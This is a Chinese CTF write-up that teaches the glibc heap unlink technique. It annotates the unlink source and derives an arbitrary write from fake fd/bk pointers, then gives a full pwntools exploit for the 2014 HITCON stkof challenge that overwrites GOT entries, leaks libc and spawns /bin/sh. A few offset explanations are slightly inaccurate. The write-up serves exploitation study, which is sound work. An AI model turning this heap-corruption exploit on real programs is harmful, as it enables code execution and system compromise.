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这是一道unlink的题，初学者可以通过它入门unlink
先大概了解一下unlink相关的知识点
unlink主要适用于
(64位)small chunk(？>size>=0x80)和large chunk（size>=？）（还没有测试出来）
(32位)small chunk(0x200>size>=0x40)和large chunk（size>=0x200）
下面是unlink源码(参考了ctf wiki)
/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {
// 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。
//这里是构造chunk所必须满足的第一个条件。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
// 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
// 下面主要考虑 P 对应的 nextsize 双向链表的修改
if (!in_smallbin_range (chunksize_nomask (P)) // 如果P->fd_nextsize为 NULL，表明 P 未插入到 nextsize 链表中。
// 那么其实也就没有必要对 nextsize 字段进行修改了。
// 这里没有去判断 bk_nextsize 字段，可能会出问题。
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
// 类似于小的 chunk 的检查思路
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
// 这里说明 P 已经在 nextsize 链表中了。
// 如果 FD 没有在 nextsize 链表中
if (FD->fd_nextsize == NULL) {
// 如果 nextsize 串起来的双链表只有 P 本身，那就直接拿走 P
// 令 FD 为 nextsize 串起来的
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
// 否则我们需要将 FD 插入到 nextsize 形成的双链表中
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
// 最后将构造的chunk中（*fd）=bk
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
所以我们要实现任意地址写，要做到下面几个步骤
- 需要两个相邻的chunk（small、large chunk），如果是向前合并，则在蓝色chunk的payload中填充chunk信息，同时要注意的一点，我们还需要对绿色chunk 的p标志位(pre chunk allocated,前一个chunk used ，则p=1；前一个chunk free，则p=0)和黄色chunkp标志位置1。
- 当我们free 绿色chunk时，程序会误以为黄色chunk也处于free状态，会将黄色chunk和绿色chunk进行unlink操作。
- 我们需要先绕过验证
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
// next_size related
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
我们要使伪造的黄色chunk中的 fd->bk =bk->fd ，换种角度 只要满足*(fd+0x18) = *(bk+0x10)即可。那么我们是不是输入任意地址X都行。我们只要满足 fd=X-0x18,bk=X-0x10,那么就可绕过fd->bk =bk->fd 这个验证。
4. 当我们绕过这个验证后，程序会做些什么呢？
// 最后将构造的chunk中（*fd）=bk
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
程序会执行下面这两行代码
意思就是
*(fd+0x18)=bk
*(bk+0x10)=fd
既
*(X-0x18+0x18)=(X-0x10)
*(X-0x10+0x10)=(X-0x18)
既
* X = (X-0x10)
* X = (X-0x18)
既
* X =(X-0x18)
既实现了任意地址写
下面我们通过2014_hitcon_stkof来进一步体会这个漏洞
漏洞source code
fgets(&s, 16, stdin);
n = atol(&s);
if ( n > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[n] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
size = atoll(&s);
ptr = ::s[n];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
//漏洞的关键点，输入可以任意长，所以我们可以覆盖后一个chunk的pre size和size，修改P标志位，使的我们伪造的chunk能unlink
{
ptr += i;
size -= i;
}
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def free(n):
p.sendline('3')
p.sendline(str(n))
p.recvuntil('OK\n')
def edit(n,read):
p.sendline('2')
p.sendline(str(n))
p.sendline(str(len(read)))
p.send(read)
p.recvuntil('OK\n')
利用过程
- 构造chunk
我们先malloc 4个small chunk，
alloc(0x80)# 1
alloc(0x80)# 2
alloc(0x80)# 3
alloc(0x20)# 4
bss =0x0000000000602140
aim = bss+0x10 //这是我们要修改的内存的地址
fd=aim - 0x18 //这是最后填充aim的数据
bk=aim - 0x10
payload = p64(0x0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60
payload+= p64(0x80)+p64(0x90)
edit(2,payload)
为什么要在第二个chunk中构造chunk，因为这个程序中没有setbuff操作，在调用fgets 和printf函数时，会申请0x410大小的chunk，可能会对之后的操作有影响。所以我们通过构造第一个chunk来规避后面unlink的麻烦，因为我们要unlink的话，必须保证两个chunk是紧挨着的。
pwndbg> heapls
ADDR SIZE STATUS
sbrk_base 0xe05000
chunk 0xe05000 0x410 (inuse)//第一次print "OK"时申请的chunk
chunk 0xe05410 0x60 (inuse)//我们申请的第一个chunk
chunk 0xe05470 0x410 (inuse)//第一次调用fgets时申请的chunk
chunk 0xe05880 0x20780 (top)
sbrk_end 0xe26000
- 接下来我们利用unlink将存取chunk adress信息的s数组进行修改，使其存取(s-0x8)的地址，这样我们就能使用edit进行任意地址写了。
free(3)
puts_plt=elf.plt['puts']
free_got=elf.got['free']
fread_got=elf.got['fread']
puts_got=elf.got['puts']
print('put_ad=',puts_plt)
print('free_ad=',free_got)
print('fread_ad=',fread_got)
payload1=p64(0)+p64(fread_got)+p64(puts_got)+p64(free_got)
edit(2,payload1)//我们
p64(0)覆盖(s-0x8)的内存
p64(fread_got)覆盖s的内存
p64(puts_got)覆盖s[1](s+0x8)的内存
p64(free_got) 覆盖s[2](s+0x16)的内存
3. 修改free got表，泄露fread libc地址，得到system libc地址
edit(2,p64(puts_plt))
p.sendline('3')
p.sendline(str(0))
fread = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
libcbase=u64(fread)-libc.symbols['fread']
system = libcbase+libc.symbols['system']
edit(2,p64(system))
edit(4,'/bin/sh\00')
p.sendline('3')
p.sendline(str(4))
p.interactive()
完整exp
from pwn import *
from LibcSearcher import *
context.log_level= 'debug'
p = process('./stkof')
libc = ELF('./libc.so.6')
elf = ELF('./stkof')
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def free(n):
p.sendline('3')
p.sendline(str(n))
p.recvuntil('OK\n')
def edit(n,read):
p.sendline('2')
p.sendline(str(n))
p.sendline(str(len(read)))
p.send(read)
p.recvuntil('OK\n')
raw_input()
alloc(0x80)# 1
alloc(0x80)# 2
alloc(0x80)# 3
alloc(0x20)# 4
bss =0x0000000000602140
aim = bss+0x10
fd=aim - 0x18
bk=aim - 0x10
payload = p64(0x0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60
payload+= p64(0x80)+p64(0x90)
edit(2,payload)
free(3)
puts_plt=elf.plt['puts']
free_got=elf.got['free']
fread_got=elf.got['fread']
puts_got=elf.got['puts']
print('put_ad=',puts_plt)
print('free_ad=',free_got)
print('fread_ad=',fread_got)
payload1=p64(0)+p64(fread_got)+p64(puts_got)+p64(free_got)
edit(2,payload1)
edit(2,p64(puts_plt))
p.sendline('3')
p.sendline(str(0))
fread = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
libcbase=u64(fread)-libc.symbols['fread']
system = libcbase+libc.symbols['system']
edit(2,p64(system))
edit(4,'/bin/sh\00')
p.sendline('3')
p.sendline(str(4))
p.interactive()
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/#2014-hitcon-stkof
https://www.cnblogs.com/alisecurity/p/5486458.html
https://paper.seebug.org/445/
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